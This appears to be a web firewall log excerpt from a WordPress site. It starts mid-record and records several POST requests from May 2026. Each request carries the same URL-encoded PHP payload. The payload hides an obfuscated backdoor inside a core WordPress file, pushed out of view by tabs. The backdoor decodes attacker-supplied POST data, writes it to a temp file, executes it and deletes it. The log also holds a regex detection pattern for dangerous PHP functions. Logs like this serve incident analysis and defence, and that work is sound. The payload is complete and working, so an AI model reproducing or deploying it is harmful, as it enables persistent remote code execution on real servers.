FM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4556\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nFM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:10","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4579\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:48:13","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvryZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4556\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nzS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
